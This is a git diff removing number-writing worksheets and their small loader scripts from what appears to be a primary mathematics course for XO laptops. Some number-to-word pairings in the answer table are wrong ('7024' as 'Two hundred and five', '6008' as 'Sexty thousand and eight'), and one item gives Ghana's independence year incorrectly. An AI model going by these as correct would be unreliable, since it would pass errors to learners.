-    <p class="MsoNormal" style="line-height: normal;">
-     <span style="font-size: 12pt;" lang="YO">
-      18
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="265" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span>
-      Eighteen
-     </span>
-     <span lang="YO">
-      &nbsp;
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 140.1pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="187" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span style="font-size: 12pt;" lang="YO">
-      205
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="265" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Two Hundered- five.
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 140.1pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="187" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      643
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="265" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Six Hundred forty-three
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 140.1pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="187" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      7024
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="265" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Two hundred and five
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 140.1pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="187" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span style="font-size: 12pt;" lang="YO">
-      6008
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="265" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Sexty thousand and eight
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 140.1pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="187" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span style="font-size: 12pt;" lang="YO">
-      44758
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="265" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Forty four thousands seven hundred fifty-eight
-      <span>
-       &nbsp;
-      </span>
-     </span>
-    </p>
-   </td>
-  </tr>
-  <tr>
-   <td style="padding: 0in 5.4pt; width: 140.1pt; border: medium 1pt 1pt none solid solid -moz-use-text-color black black;" width="187" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span style="font-size: 12pt;" lang="YO">
-      52748
-     </span>
-    </p>
-   </td>
-   <td style="padding: 0in 5.4pt; width: 198.45pt; border: medium 1pt 1pt medium none solid solid none -moz-use-text-color black black -moz-use-text-color;" width="265" valign="top">
-    <p class="MsoNormal" style="line-height: normal;">
-     <span lang="YO">
-      Fifty two thousand seven hundred forty-eight.
-      <span>
-       &nbsp;
-      </span>
-     </span>
-    </p>
-   </td>
-  </tr>
- </tbody>
-</table>
-<p class="MsoNormal" style="margin-bottom: 12pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  <br />
-  <br />
-  3)
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  Instruction:
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  XOs suggest that the student count the number of flower pot and flowers in each flower-pot.
-  <span>
-   &nbsp;
-  </span>
-  Write the total numberof flowers in figures and in words.
-  <span>
-   &nbsp;
-  </span>
- </span>
-</p>
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-  <img src="clip_image002.jpg" alt="" width="92" height="71" />
-  <img src="clip_image003.jpg" alt="" width="92" height="71" />
-  <img src="clip_image003.jpg" alt="" width="92" height="71" />
-  <img src="clip_image003.jpg" alt="" width="92" height="71" />
-  <img src="clip_image003.jpg" alt="" width="92" height="71" />
-  <img src="clip_image003.jpg" alt="" width="92" height="71" />
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- <span style="font-size: 12pt;" lang="YO">
-  &nbsp;
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- <span style="font-size: 12pt;" lang="YO">
-  Instruction:
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  XOs suggest writing
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-  the following numbers in words or figures:
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-   Thirty
-  </span>
-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   five thousand four hundred sixty-two
-  </span>
- </li>
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-  <span style="font-size: 12pt;">
-   Sixty hundred and one
-  </span>
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-  <span style="font-size: 12pt;">
-   Thirty
-  </span>
-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   nine thousand and four
-  </span>
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-  <span style="font-size: 12pt;">
-   Eighty
-  </span>
-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   eight thousand nine hundred forty-five
-  </span>
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-   30 006
-  </span>
-  <span style="font-size: 12pt;">
-   &nbsp;
-  </span>
- </li>
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-  <span style="font-size: 12pt;">
-   75
-  </span>
-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   654
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   15748
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   30
-  </span>
-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   647
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   20
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-  </span>
-  <span style="font-size: 12pt;">
-   657
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;" lang="YO">
-   <span>
-   </span>
-   35700
-  </span>
-  <span style="font-size: 12pt;">
-   &nbsp;
-  </span>
- </li>
-</ol>
-<p>
- <br />
- <br />
- <br />
-</p>
-<div style="text-align: left;">
- <ul>
-  <li>
-   <table style="width: 288px; height: 44px;" border="1">
-    <tbody>
-    </tbody>
-   </table>
-  </li>
- </ul>
-</div>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m02/map411m02a03/a.txt b/Save_Mathematics/P4/map411m02/map411m02a03/a.txt
deleted file mode 100644
index 0bd411d..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a03/a.txt
+++ /dev/null
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diff --git a/Save_Mathematics/P4/map411m02/map411m02a03/description.py b/Save_Mathematics/P4/map411m02/map411m02a03/description.py
deleted file mode 100644
index e18641f..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a03/description.py
+++ /dev/null
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-lesson(grade=0, subject='English', title='map411m02a03',week=0)
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diff --git a/Save_Mathematics/P4/map411m02/map411m02a03/lesson.js b/Save_Mathematics/P4/map411m02/map411m02a03/lesson.js
deleted file mode 100644
index 477a4ff..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a03/lesson.js
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-
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index 0bd411d..0000000
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-<p class="MsoNormal" style="margin-bottom: 12pt; line-height: normal;">
- <span lang="YO">
-  1
- </span>
- <span>
-  )
- </span>
- <span lang="YO">
-  Instruction:
-  <span>
-   &nbsp;
-  </span>
-  XOs suggest to Students to
- </span>
- <span>
-  count
- </span>
- <span lang="YO">
-  deks
- </span>
- <span>
-  in the class
- </span>
- <span lang="YO">
-  room and write
- </span>
- <span>
-  number in words in his/he
- </span>
- <span lang="YO">
-  r XO
- </span>
- <span>
-  .
-  <br />
-  <br />
- </span>
- <span lang="YO">
-  2
- </span>
- <span>
-  ) Write the following numbers in words or figures:
- </span>
-</p>
-<ol type="1">
- <li class="MsoNormal" style="line-height: normal;">
-  <span>
-   4375
-  </span>
-  <span lang="YO">
-   <span>
-    &nbsp;
-   </span>
-  </span>
-  <span>
-   &nbsp;
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span>
-   98645
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span>
-   77999
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span>
-   13634
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span>
-   30647
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span>
-   20657
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span>
-   75654
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span>
-   15748
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span>
-   Thirty
-  </span>
-  <span>
-  </span>
-  <span>
-   five thousand four hundred and sixty-two
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span>
-   Sixty hundred and one
-  </span>
-  <span lang="YO">
-   .
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span>
-   Thirty
-  </span>
-  <span>
-  </span>
-  <span>
-   nine thousand and four
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span>
-   Eighty
-  </span>
-  <span>
-  </span>
-  <span>
-   eight thousand nine hundred and forty-five
-  </span>
- </li>
-</ol>
-<p class="MsoNormal" style="margin-left: 0.25in; line-height: normal;">
- <span lang="YO">
-  3
- </span>
- <span>
-  ) Gatera was born in 1995 Write his
- </span>
- <span lang="YO">
-  year of birth
- </span>
- <span>
-  in words.
-  <br />
-  <br />
- </span>
- <span lang="YO">
-  4
- </span>
- <span>
-  )
- </span>
- <span lang="YO">
-  Read and write the year in words.
- </span>
-</p>
-<p class="MsoNormal" style="margin-left: 0.25in; line-height: normal;">
- <span lang="YO">
-  1. Rwanda
-  <span>
-   &nbsp;
-  </span>
-  gained its independence in 1962
- </span>
-</p>
-<p class="MsoNormal" style="margin-left: 0.25in; line-height: normal;">
- <span lang="YO">
-  2. DRCongo gained its independence in 1960
- </span>
-</p>
-<p class="MsoNormal" style="margin-left: 0.25in; line-height: normal;">
- <span lang="YO">
-  3. Ghana gained its independence 1958.
-  <span>
-   &nbsp;
-  </span>
- </span>
-</p>
-<p>
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m02/map411m02a04/a.txt b/Save_Mathematics/P4/map411m02/map411m02a04/a.txt
deleted file mode 100644
index cf657e9..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a04/a.txt
+++ /dev/null
@@ -1,361 +0,0 @@
- <span style="font-size: 12pt;">
-  This evaluation is to help you to know if you have understood the lesson.
-  <br />
-  <br />
-  1)
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  Instruction: XOs
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  ask to w
- </span>
- <span style="font-size: 12pt;">
-  rite the
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  following
- </span>
- <span style="font-size: 12pt;">
-  numbers in words:
- </span>
-</p>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   75
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   983
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;" lang="YO">
-   7
-  </span>
-  <span style="font-size: 12pt;">
-   263
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   30
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   0
-  </span>
-  <span style="font-size: 12pt;">
-   4
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   15
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   0
-  </span>
-  <span style="font-size: 12pt;">
-   7
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   5
-  </span>
-  <span style="font-size: 12pt;">
-   &nbsp;
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   1395
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   0
-  </span>
-  <span style="font-size: 12pt;">
-   &nbsp;
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;" lang="YO">
-   5
-  </span>
-  <span style="font-size: 12pt;">
-   4657
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   66734
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;" lang="YO">
-   96
-  </span>
-  <span style="font-size: 12pt;">
-   645
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;" lang="YO">
-   98
-  </span>
-  <span style="font-size: 12pt;">
-   212
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;" lang="YO">
-   100000
-  </span>
-  <span style="font-size: 12pt;">
-   &nbsp;
-  </span>
- </li>
-</ul>
-<p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  2) Write
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  the
- </span>
- <span style="font-size: 12pt;">
-  following numbers in figures:
- </span>
-</p>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Thirty thousand and five
-  </span>
- </li>
-</ul>
-<p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;">
- <span style="font-size: 12pt;">
- </span>
-</p>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Thirteen thousand eight hundred sixty-four
-  </span>
- </li>
-</ul>
-<p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;">
- <span style="font-size: 12pt;">
- </span>
-</p>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Twelve thousand seven hundred forty-four
-  </span>
- </li>
-</ul>
-<p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;">
- <span style="font-size: 12pt;">
- </span>
-</p>
-<p class="MsoNormal" style="margin: 0in 0in 0.0001pt 0.5in; line-height: normal;">
- <span style="font-size: 12pt;">
- </span>
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- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Fifty thousand and nine
-  </span>
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-<p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;">
- <span style="font-size: 12pt;">
- </span>
-</p>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Eight
-  </span>
-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   five thousand nine hundred and thirty-six
-  </span>
- </li>
-</ul>
-<p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;">
- <span style="font-size: 12pt;">
- </span>
-</p>
-<p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  3)
- </span>
- <strong>
-  <span style="font-size: 12pt;" lang="YO">
-   Instruction: XOs
-  </span>
- </strong>
- <span style="font-size: 12pt;" lang="YO">
-  ask students to write 8
- </span>
- <span style="font-size: 12pt;">
-  numbers of
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  6
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- <span style="font-size: 12pt;">
-  digits each.
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-</p>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Write those numbers in word.
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Read and Write those numbers in figures
-  </span>
- </li>
-</ul>
-<p class="MsoNormal" style="margin-left: 0.5in; line-height: normal;">
- <span style="font-size: 12pt;">
- </span>
-</p>
-<p class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  5)
- </span>
- <strong>
-  <span style="font-size: 12pt;" lang="YO">
-   Instruction: XOs
-  </span>
- </strong>
- <span style="font-size: 12pt;" lang="YO">
-  ask
- </span>
- <span style="font-size: 12pt;">
-  student
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  s
- </span>
- <span style="font-size: 12pt;" lang="YO">
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  to
- </span>
- <span style="font-size: 12pt;">
-  drug and drop digits
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  :
- </span>
-</p>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;" lang="YO">
-   M
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-  <span style="font-size: 12pt;">
-   ake 6 numbers of 4 digit
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   s
-  </span>
-  <span style="font-size: 12pt;">
-   each.
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   &nbsp;
-  </span>
- </li>
-</ul>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Read those numbers
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Write those numbers in words.
-  </span>
- </li>
-</ul>
-<p class="MsoNormal" style="margin-bottom: 12pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  <br />
-  <br />
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  &nbsp;
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-<p class="MsoNormal" style="margin-bottom: 12pt; line-height: normal;">
- <span style="font-size: 12pt;" lang="YO">
- </span>
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-<p class="MsoNormal" style="margin-bottom: 12pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  6) Read following numbers:
- </span>
-</p>
-<ol type="1">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;" lang="YO">
-   87
-  </span>
-  <span style="font-size: 12pt;">
-   &nbsp;
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   923
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   5473
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   1
-  </span>
-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   9
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   0
-  </span>
-  <span style="font-size: 12pt;">
-   8
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   64
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   00
-  </span>
-  <span style="font-size: 12pt;">
-   8
-  </span>
- </li>
-</ol>
-<p>
- <br />
- <br />
-</p>
diff --git a/Save_Mathematics/P4/map411m02/map411m02a04/description.py b/Save_Mathematics/P4/map411m02/map411m02a04/description.py
deleted file mode 100644
index 8db222d..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m02a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m02/map411m02a04/lesson.js b/Save_Mathematics/P4/map411m02/map411m02a04/lesson.js
deleted file mode 100644
index 1570829..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m02/map411m02a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m02/map411m02a04/source.txt b/Save_Mathematics/P4/map411m02/map411m02a04/source.txt
deleted file mode 100644
index cf657e9..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a04/source.txt
+++ /dev/null
@@ -1,361 +0,0 @@
- <span style="font-size: 12pt;">
-  This evaluation is to help you to know if you have understood the lesson.
-  <br />
-  <br />
-  1)
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  Instruction: XOs
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  ask to w
- </span>
- <span style="font-size: 12pt;">
-  rite the
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  following
- </span>
- <span style="font-size: 12pt;">
-  numbers in words:
- </span>
-</p>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   75
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   983
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;" lang="YO">
-   7
-  </span>
-  <span style="font-size: 12pt;">
-   263
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   30
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   0
-  </span>
-  <span style="font-size: 12pt;">
-   4
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   15
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   0
-  </span>
-  <span style="font-size: 12pt;">
-   7
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   5
-  </span>
-  <span style="font-size: 12pt;">
-   &nbsp;
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   1395
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   0
-  </span>
-  <span style="font-size: 12pt;">
-   &nbsp;
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;" lang="YO">
-   5
-  </span>
-  <span style="font-size: 12pt;">
-   4657
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   66734
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;" lang="YO">
-   96
-  </span>
-  <span style="font-size: 12pt;">
-   645
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;" lang="YO">
-   98
-  </span>
-  <span style="font-size: 12pt;">
-   212
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;" lang="YO">
-   100000
-  </span>
-  <span style="font-size: 12pt;">
-   &nbsp;
-  </span>
- </li>
-</ul>
-<p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  2) Write
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  the
- </span>
- <span style="font-size: 12pt;">
-  following numbers in figures:
- </span>
-</p>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Thirty thousand and five
-  </span>
- </li>
-</ul>
-<p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;">
- <span style="font-size: 12pt;">
- </span>
-</p>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Thirteen thousand eight hundred sixty-four
-  </span>
- </li>
-</ul>
-<p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;">
- <span style="font-size: 12pt;">
- </span>
-</p>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Twelve thousand seven hundred forty-four
-  </span>
- </li>
-</ul>
-<p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;">
- <span style="font-size: 12pt;">
- </span>
-</p>
-<p class="MsoNormal" style="margin: 0in 0in 0.0001pt 0.5in; line-height: normal;">
- <span style="font-size: 12pt;">
- </span>
-</p>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Fifty thousand and nine
-  </span>
- </li>
-</ul>
-<p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;">
- <span style="font-size: 12pt;">
- </span>
-</p>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Eight
-  </span>
-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   five thousand nine hundred and thirty-six
-  </span>
- </li>
-</ul>
-<p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;">
- <span style="font-size: 12pt;">
- </span>
-</p>
-<p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  3)
- </span>
- <strong>
-  <span style="font-size: 12pt;" lang="YO">
-   Instruction: XOs
-  </span>
- </strong>
- <span style="font-size: 12pt;" lang="YO">
-  ask students to write 8
- </span>
- <span style="font-size: 12pt;">
-  numbers of
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  6
- </span>
- <span style="font-size: 12pt;">
-  digits each.
- </span>
-</p>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Write those numbers in word.
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Read and Write those numbers in figures
-  </span>
- </li>
-</ul>
-<p class="MsoNormal" style="margin-left: 0.5in; line-height: normal;">
- <span style="font-size: 12pt;">
- </span>
-</p>
-<p class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  5)
- </span>
- <strong>
-  <span style="font-size: 12pt;" lang="YO">
-   Instruction: XOs
-  </span>
- </strong>
- <span style="font-size: 12pt;" lang="YO">
-  ask
- </span>
- <span style="font-size: 12pt;">
-  student
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  s
- </span>
- <span style="font-size: 12pt;" lang="YO">
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  to
- </span>
- <span style="font-size: 12pt;">
-  drug and drop digits
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  :
- </span>
-</p>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;" lang="YO">
-   M
-  </span>
-  <span style="font-size: 12pt;">
-   ake 6 numbers of 4 digit
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   s
-  </span>
-  <span style="font-size: 12pt;">
-   each.
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   &nbsp;
-  </span>
- </li>
-</ul>
-<ul type="disc">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Read those numbers
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   Write those numbers in words.
-  </span>
- </li>
-</ul>
-<p class="MsoNormal" style="margin-bottom: 12pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  <br />
-  <br />
- </span>
- <span style="font-size: 12pt;" lang="YO">
-  &nbsp;
- </span>
-</p>
-<p class="MsoNormal" style="margin-bottom: 12pt; line-height: normal;">
- <span style="font-size: 12pt;" lang="YO">
- </span>
-</p>
-<p class="MsoNormal" style="margin-bottom: 12pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  6) Read following numbers:
- </span>
-</p>
-<ol type="1">
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;" lang="YO">
-   87
-  </span>
-  <span style="font-size: 12pt;">
-   &nbsp;
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   923
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   5473
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   1
-  </span>
-  <span style="font-size: 12pt;">
-  </span>
-  <span style="font-size: 12pt;">
-   9
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   0
-  </span>
-  <span style="font-size: 12pt;">
-   8
-  </span>
- </li>
- <li class="MsoNormal" style="line-height: normal;">
-  <span style="font-size: 12pt;">
-   64
-  </span>
-  <span style="font-size: 12pt;" lang="YO">
-   00
-  </span>
-  <span style="font-size: 12pt;">
-   8
-  </span>
- </li>
-</ol>
-<p>
- <br />
- <br />
-</p>
diff --git a/Save_Mathematics/P4/map411m02/map411m02a05/a.txt b/Save_Mathematics/P4/map411m02/map411m02a05/a.txt
deleted file mode 100644
index 12c7f9e..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a05/a.txt
+++ /dev/null
@@ -1,149 +0,0 @@
-<p>
- 1) Write following numbers in words:
-</p>
-<ol>
- <li>
-  25
- </li>
- <li>
-  73
- </li>
- <li>
-  94
- </li>
- <li>
-  42
- </li>
- <li>
-  263
- </li>
- <li>
-  537
- </li>
- <li>
-  836
- </li>
- <li>
-  5463
- </li>
- <li>
-  8394
- </li>
- <li>
-  6453
- </li>
- <li>
-  73847
- </li>
- <li>
-  83746
- </li>
- <li>
-  19273
- </li>
- <li>
-  29384
- </li>
- <li>
-  999837
- </li>
